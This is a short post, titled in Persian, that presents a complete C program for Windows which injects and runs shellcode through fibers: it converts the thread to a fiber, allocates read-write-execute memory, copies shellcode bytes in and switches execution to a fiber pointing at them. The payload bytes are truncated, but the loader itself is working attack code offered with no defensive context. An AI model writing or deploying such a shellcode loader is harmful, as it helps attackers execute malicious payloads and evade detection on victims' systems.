💻 پیاده‌سازی ShellCode Injection در C از طریق fiber

#include <Windows.h>

int main()
{
    // Step 1 : Convert Thread to Fiber
    PVOID mainFiber = ConvertThreadToFiber(NULL);

    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0..."; // shellcode bytes

    // Step 2: Allocate executable memory
    PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode,
                                           MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(shellcodeLocation, shellcode, sizeof shellcode);

    // Step 3: Create fiber for shellcode
    PVOID shellcodeFiber = CreateFiber(NULL,
                                       (LPFIBER_START_ROUTINE)shellcodeLocation,
                                       NULL);

    // Step 4: Schedule fiber — shellcode is executed
    SwitchToFiber(shellcodeFiber);

    return 0;
}
